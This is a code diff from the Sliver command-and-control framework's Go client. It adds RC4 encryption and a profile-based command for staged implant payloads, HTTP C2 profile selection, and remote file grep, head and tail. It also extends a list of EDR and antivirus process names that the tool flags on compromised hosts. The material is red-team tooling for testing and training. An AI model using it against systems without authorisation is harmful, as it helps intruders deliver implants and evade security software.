*/
import (
"context"
"os"
"path/filepath"
"strings"
@@ -50,16 +49,10 @@ func ProfilesGenerateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, a
if SGNDisabled, _ := cmd.Flags().GetBool("disable-sgn"); SGNDisabled {
profile.Config.SGNEnabled = !SGNDisabled
}
implantFile, err := compile(profile.Config, save, con)
_, err := compile(profile.Config, save, con)
if err != nil {
return
}
profile.Config.Name = buildImplantName(implantFile.Name)
_, err = con.Rpc.SaveImplantProfile(context.Background(), profile)
if err != nil {
con.PrintErrorf("could not update implant profile: %v\n", err)
return
}
} else {
con.PrintErrorf("No profile with name '%s'", name)
}
+2 -2
View File
@@ -33,7 +33,7 @@ func ProfilesNewCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
name = args[0]
}
// name := ctx.Args.String("name")
config := parseCompileFlags(cmd, con)
_, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
@@ -60,7 +60,7 @@ func ProfilesNewBeaconCmd(cmd *cobra.Command, con *console.SliverConsoleClient,
con.PrintErrorf("No profile name specified\n")
return
}
config := parseCompileFlags(cmd, con)
_, config := parseCompileFlags(cmd, con)
if config == nil {
return
}
+80
View File
@@ -0,0 +1,80 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"os"
"strings"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
)
// ProfilesStageCmd - Generate an encrypted/compressed implant binary based on a profile
func ProfilesStageCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name")
profileName := args[0]
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
save, _ := cmd.Flags().GetString("save")
profile := GetImplantProfileByName(profileName, con)
if profile == nil {
con.PrintErrorf("Profile not found\n")
return
}
ctrl := make(chan bool)
con.SpinUntil("Compiling, please wait ...", ctrl)
stage2, err := con.Rpc.GenerateStage(context.Background(), &clientpb.GenerateStageReq{
Profile: profileName,
Name: name,
AESEncryptKey: aesEncryptKey,
AESEncryptIv: aesEncryptIv,
RC4EncryptKey: rc4EncryptKey,
PrependSize: prependSize,
Compress: compress,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
saveTo, err := saveLocation(save, stage2.File.Name, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, stage2.File.Data, 0o700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return
}
con.PrintInfof("Implant saved to %s\n", saveTo)
}
+4
View File
@@ -62,6 +62,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
"Format",
"Obfuscation",
"Limitations",
"C2 Profile",
// "Nonce",
})
tw.SortBy([]table.SortBy{
{Name: "Profile Name", Mode: table.Asc},
@@ -91,6 +93,8 @@ func PrintProfiles(profiles []*clientpb.ImplantProfile, con *console.SliverConso
fmt.Sprintf("%v", config.Format),
obfuscation,
getLimitsString(config),
config.HTTPC2ConfigName,
// profile.ImplantID,
})
}
+47
View File
@@ -59,6 +59,9 @@ var (
consts.PwdStr: pwdHelp,
consts.CatStr: catHelp,
consts.DownloadStr: downloadHelp,
consts.GrepStr: grepHelp,
consts.HeadStr: headHelp,
consts.TailStr: tailHelp,
consts.UploadStr: uploadHelp,
consts.MkdirStr: mkdirHelp,
consts.RmStr: rmHelp,
@@ -113,6 +116,9 @@ var (
// Builders
consts.BuildersStr: buildersHelp,
// HTTP C2
consts.C2ProfileStr: c2ProfilesHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -321,6 +327,12 @@ Downloads can be filtered using the following patterns:
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
headHelp = `[[.Bold]]Command:[[.Normal]] head [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the first number of bytes or lines from a remote file and display it to stdout.`
tailHelp = `[[.Bold]]Command:[[.Normal]] tail [--bytes/-b <number of bytes>] [--lines/-l <number of lines>] <remote path>
[[.Bold]]About:[[.Normal]] Fetch the last number of bytes or lines from a remote file and display it to stdout.`
uploadHelp = `[[.Bold]]Command:[[.Normal]] upload [local src] <remote dst>
[[.Bold]]About:[[.Normal]] Upload a file to the remote system.`
@@ -1220,6 +1232,41 @@ Sliver uses the same hash identifiers as Hashcat (use the #):
% 10s - A file containing lines of 'username:hash' pairs.
% 10s - A CSV file containing 'username,hash' pairs (additional columns ignored).
`, creds.HashNewlineFormat, creds.UserColonHashNewlineFormat, creds.CSVFormat)
c2ProfilesHelp = `[[.Bold]]Command:[[.Normal]] c2profile
[[.Bold]]About:[[.Normal]] Display details of HTTP C2 profiles loaded into Sliver.
`
C2ProfileImportStr = `[[.Bold]]Command:[[.Normal]] Import
[[.Bold]]About:[[.Normal]] Load custom HTTP C2 profiles.
`
grepHelp = `[[.Bold]]Command:[[.Normal]] grep [flags / options] <search pattern> <path>
[[.Bold]]About:[[.Normal]] Search a file or path for a search pattern
[[.Bold]][[.Underline]]Search Patterns[[.Normal]]
Search patterns use RE2 regular expression syntax.
[[.Bold]][[.Underline]]Binary Files[[.Normal]]
When searching a binary file, grep will only return the line that matches if it exclusively contains UTF-8 printable characters.
Before, after, and context options are disabled for binary files.
[[.Bold]][[.Underline]]Path Filters[[.Normal]]
Filters are a way to limit searches to file names matching given criteria. Filters DO NOT apply to directory names.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
grep something /etc/*.conf will search all files in /etc whose names end in .conf. /etc/ is the path, *.conf is the filter.
Searches can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will search all file names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will search all file names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
)
const (
+8
View File
@@ -43,6 +43,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
// ID passed via argument takes priority
idArg := args[0]
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else if session != nil || beacon != nil {
currID := ""
if session != nil {
@@ -51,6 +55,10 @@ func InfoCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string
currID = beacon.ID
}
session, beacon, err = use.SessionOrBeaconByID(currID, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
-2
View File
@@ -41,7 +41,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
canaries, _ := cmd.Flags().GetBool("no-canaries")
persistent, _ := cmd.Flags().GetBool("persistent")
enforceOTP, _ := cmd.Flags().GetBool("disable-otp")
con.PrintInfof("Starting DNS listener with parent domain(s) %v ...\n", domains)
@@ -50,7 +49,6 @@ func DNSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args [
Host: lhost,
Port: lport,
Canaries: !canaries,
Persistent: persistent,
EnforceOTP: !enforceOTP,
})
con.Println()
-2
View File
@@ -37,7 +37,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
longPollTimeout, err := time.ParseDuration(pollTimeout)
if err != nil {
@@ -57,7 +56,6 @@ func HTTPListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Host: lhost,
Port: lport,
Secure: false,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
+3 -5
View File
@@ -22,7 +22,7 @@ import (
"context"
"crypto/tls"
"fmt"
"io/ioutil"
"os"
"time"
"github.com/spf13/cobra"
@@ -40,7 +40,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
pollTimeout, _ := cmd.Flags().GetString("long-poll-timeout")
pollJitter, _ := cmd.Flags().GetString("long-poll-jitter")
website, _ := cmd.Flags().GetString("website")
persistent, _ := cmd.Flags().GetBool("persistent")
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
disableRandomize, _ := cmd.Flags().GetBool("disable-randomized-jarm")
@@ -72,7 +71,6 @@ func HTTPSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
Cert: cert,
Key: key,
ACME: letsEncrypt,
Persistent: persistent,
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
@@ -92,11 +90,11 @@ func getLocalCertificatePair(cmd *cobra.Command) ([]byte, []byte, error) {
if certPath == "" && keyPath == "" {
return nil, nil, nil
}
cert, err := ioutil.ReadFile(certPath)
cert, err := os.ReadFile(certPath)
if err != nil {
return nil, nil, err
}
key, err := ioutil.ReadFile(keyPath)
key, err := os.ReadFile(keyPath)
if err != nil {
return nil, nil, err
}
+2
View File
@@ -70,6 +70,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
"Name",
"Protocol",
"Port",
"Domains",
})
var keys []int
@@ -85,6 +86,7 @@ func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient)
job.Name,
job.Protocol,
fmt.Sprintf("%d", job.Port),
strings.Join(job.Domains, ","),
})
}
con.Printf("%s\n", tw.Render())
+2 -4
View File
@@ -31,13 +31,11 @@ import (
func MTLSListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
lhost, _ := cmd.Flags().GetString("lhost")
lport, _ := cmd.Flags().GetUint32("lport")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting mTLS listener ...\n")
mtls, err := con.Rpc.StartMTLSListener(context.Background(), &clientpb.MTLSListenerReq{
Host: lhost,
Port: lport,
Persistent: persistent,
Host: lhost,
Port: lport,
})
con.Println()
if err != nil {
+24 -49
View File
@@ -43,7 +43,7 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
listenerURL, _ := cmd.Flags().GetString("url")
aesEncryptKey, _ := cmd.Flags().GetString("aes-encrypt-key")
aesEncryptIv, _ := cmd.Flags().GetString("aes-encrypt-iv")
prependSize, _ := cmd.Flags().GetBool("prepend-size")
rc4EncryptKey, _ := cmd.Flags().GetString("rc4-encrypt-key")
compressF, _ := cmd.Flags().GetString("compress")
compress := strings.ToLower(compressF)
@@ -70,6 +70,21 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
return
}
if rc4EncryptKey != "" && aesEncryptKey != "" {
con.PrintErrorf("Cannot use both RC4 and AES encryption\n")
return
}
rc4Encrypt := false
if rc4EncryptKey != "" {
// RC4 keysize can be between 1 to 256 bytes
if len(rc4EncryptKey) < 1 || len(rc4EncryptKey) > 256 {
con.PrintErrorf("Incorrect length of RC4 Key\n")
return
}
rc4Encrypt = true
}
aesEncrypt := false
if aesEncryptKey != "" {
// check if aes encryption key is correct length
@@ -121,55 +136,11 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
stage2 = util.PreludeEncrypt(stage2, []byte(aesEncryptKey), []byte(aesEncryptIv))
}
if rc4Encrypt {
stage2 = util.RC4EncryptUnsafe(stage2, []byte(rc4EncryptKey))
}
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTP,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTP staging listener: %s\n", err)
return
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
letsEncrypt, _ := cmd.Flags().GetBool("lets-encrypt")
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(cmd)
if err != nil {
con.Println()
con.PrintErrorf("Failed to load local certificate %s\n", err)
return
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTPS staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
Protocol: clientpb.StageProtocol_HTTPS,
Data: stage2,
Host: stagingURL.Hostname(),
Port: uint32(stagingPort),
Cert: cert,
Key: key,
ACME: letsEncrypt,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error starting HTTPS staging listener: %v\n", err)
return
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
@@ -198,6 +169,10 @@ func StageListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
con.PrintInfof("AES KEY: %v\n", aesEncryptKey)
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
if rc4Encrypt {
con.PrintInfof("RC4 KEY: %v\n", rc4EncryptKey)
}
}
func prependPayloadSize(payload []byte) []byte {
+3 -5
View File
@@ -32,14 +32,12 @@ func WGListenerCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []
lport, _ := cmd.Flags().GetUint32("lport")
nport, _ := cmd.Flags().GetUint32("nport")
keyExchangePort, _ := cmd.Flags().GetUint32("key-port")
persistent, _ := cmd.Flags().GetBool("persistent")
con.PrintInfof("Starting Wireguard listener ...\n")
wg, err := con.Rpc.StartWGListener(context.Background(), &clientpb.WGListenerReq{
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
Persistent: persistent,
Port: lport,
NPort: nport,
KeyPort: keyExchangePort,
})
if err != nil {
con.PrintErrorf("%s\n", err)
+5
View File
@@ -197,6 +197,11 @@ func LootDownload(download *sliverpb.Download, lootName string, fileType clientp
}
}
func LootText(text string, lootName string, lootFileName string, fileType clientpb.FileType, con *console.SliverConsoleClient) {
lootMessage := CreateLootMessage(lootFileName, lootName, fileType, []byte(text))
SendLootMessage(lootMessage, con)
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
session := con.ActiveTarget.GetSessionInteractive()
+139
View File
@@ -0,0 +1,139 @@
package monitor
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func MonitorConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
PrintWTConfig(resp, con)
}
func MonitorAddConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
apiKey, _ := cmd.Flags().GetString("apiKey")
apiPassword, _ := cmd.Flags().GetString("apiPassword")
apiType, _ := cmd.Flags().GetString("type")
MonitoringProvider := &clientpb.MonitoringProvider{Type: apiType, APIKey: apiKey}
if apiType == "xforce" {
MonitoringProvider.APIPassword = apiPassword
}
resp, err := con.Rpc.MonitorAddConfig(context.Background(), MonitoringProvider)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if resp != nil && resp.Err != "" {
con.PrintErrorf("%s\n", resp.Err)
return
}
con.PrintInfof("Added monitoring configuration\n")
}
func MonitorDelConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
resp, err := con.Rpc.MonitorListConfig(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
config, err := selectWatchtowerConfig(resp)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.MonitorDelConfig(context.Background(), config)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed monitoring configuration\n")
}
// PrintWTConfig - Print the current watchtower configuration
func PrintWTConfig(configs *clientpb.MonitoringProviders, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Type",
"APIKey",
"APIPassword",
})
color := console.Normal
for _, config := range configs.Providers {
row := table.Row{}
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.ID))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.Type))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIKey))
row = append(row, fmt.Sprintf(color+"%s"+console.Normal, config.APIPassword))
tw.AppendRow(row)
}
con.Printf("%s\n", tw.Render())
}
func selectWatchtowerConfig(configs *clientpb.MonitoringProviders) (*clientpb.MonitoringProvider, error) {
var options []string
for _, config := range configs.Providers {
options = append(options, config.Type)
}
selected := ""
prompt := &survey.Select{
Message: "Select a configuration:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for _, provider := range configs.Providers {
if provider.Type == selected {
return provider, nil
}
}
return nil, nil
}
+1 -2
View File
@@ -21,7 +21,6 @@ package processes
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -112,7 +111,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
var saveToFile *os.File
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("procdump_%s_%d_*", hostname, pid))
saveToFile, err = ioutil.TempFile("", tmpFileName)
saveToFile, err = os.CreateTemp("", tmpFileName)
if err != nil {
con.PrintErrorf("Error creating temporary file: %s\n", err)
return
+16 -6
View File
@@ -46,14 +46,20 @@ var knownSecurityTools = map[string][]string{
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MpCmdRun.exe": {console.Red, "Windows Defender"}, // Windows Defender Command-line
"MonitoringHost.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"HealthService.exe": {console.Red, "Windows Defender"}, // Microsoft Monitoring Agent
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender (Service Executable)
"NisSrv.exe": {console.Red, "Windows Defender"}, // Windows Defender (Network Realtime Inspection)
"SenseIR.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Live Response Session)
"SenseNdr.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Network Detection and Response)
"SenseSC.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Screenshot Capture Module)
"SenseCE.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Classification Engine Module)
"SenseCM.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Configuration Management Module)
"SenseSampleUploader.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Sample Uploader Module)
"SenseCncProxy.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Communication Module)
"MsSense.exe": {console.Red, "Windows Defender MDE"}, // Windows Defender Endpoint (Service Executable)
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
"CSFalconContainer.exe": {console.Red, "CrowdStrike"}, // CrowdStrike Falcon Container Security
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
@@ -86,6 +92,10 @@ var knownSecurityTools = map[string][]string{
"eguiproxy.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"ekrn.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"efwd.exe": {console.Red, "ESET Security"}, // ESET Internet Security
"AmSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
}
// PsCmd - List processes on the remote system
+7
View File
@@ -51,9 +51,16 @@ func (n *node) insert(proc *commonpb.Process) {
}
func (n *node) findParent(proc *commonpb.Process) *node {
// Empty node
if n.Value == nil {
return nil
}
// Skip self when called from reorder
// otherwise things might explode, see #1340
if n.Value.Pid == proc.Pid {
return nil
}
// Found parent
if n.Value.Pid == proc.Ppid {
return n
}
+3 -3
View File
@@ -21,7 +21,7 @@ package reaction
import (
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"strconv"
"strings"
@@ -49,13 +49,13 @@ func SaveReactions(reactions []core.Reaction) error {
if err != nil {
return err
}
return ioutil.WriteFile(reactionFilePath, data, 0o600)
return os.WriteFile(reactionFilePath, data, 0o600)
}
// LoadReactions - Save the reactions to the reaction file
func LoadReactions() (int, error) {
reactionFilePath := GetReactionFilePath()
data, err := ioutil.ReadFile(reactionFilePath)
data, err := os.ReadFile(reactionFilePath)
if err != nil {
return 0, err
}
+2 -2
View File
@@ -21,7 +21,7 @@ package registry
import (
"context"
"encoding/hex"
"io/ioutil"
"os"
"strconv"
"strings"
@@ -100,7 +100,7 @@ func RegWriteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
return
}
} else {
v, err = ioutil.ReadFile(binPath)
v, err = os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+1 -2
View File
@@ -21,7 +21,6 @@ package screenshot
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"time"
@@ -107,7 +106,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, cmd *cobr
var err error
if saveTo == "" {
tmpFileName := filepath.Base(fmt.Sprintf("screenshot_%s_%s_*.png", filepath.Base(hostname), timestamp))
saveToFile, err = ioutil.TempFile("", tmpFileName)
saveToFile, err = os.CreateTemp("", tmpFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+102 -5
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
"github.com/bishopfox/sliver/client/command/builders"
"github.com/bishopfox/sliver/client/command/c2profiles"
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
@@ -53,6 +54,7 @@ import (
"github.com/bishopfox/sliver/client/command/websites"
"github.com/bishopfox/sliver/client/command/wireguard"
client "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/licenses"
)
@@ -270,7 +272,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Flags("mTLS listener", false, mtlsCmd, func(f *pflag.FlagSet) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultMTLSLPort, "tcp listen port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(mtlsCmd)
@@ -288,7 +289,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.Uint32P("lport", "l", generate.DefaultWGLPort, "udp listen port")
f.Uint32P("nport", "n", generate.DefaultWGNPort, "virtual tun interface listen port")
f.Uint32P("key-port", "x", generate.DefaultWGKeyExPort, "virtual tun interface key exchange port")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(wgCmd)
@@ -307,7 +307,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint32P("lport", "l", generate.DefaultDNSLPort, "udp listen port")
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(dnsCmd)
@@ -328,7 +327,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("persistent", "p", false, "make persistent across restarts")
f.BoolP("staging", "s", false, "enable staging")
})
server.AddCommand(httpCmd)
@@ -349,13 +348,13 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("enable-staging", "s", false, "enable staging")
f.StringP("cert", "c", "", "PEM encoded certificate file")
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
server.AddCommand(httpsCmd)
@@ -376,6 +375,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
@@ -666,6 +666,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -674,6 +675,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
server.AddCommand(generateCmd)
@@ -734,6 +736,7 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("save", "s", "", "directory/file to the binary to")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(generateBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
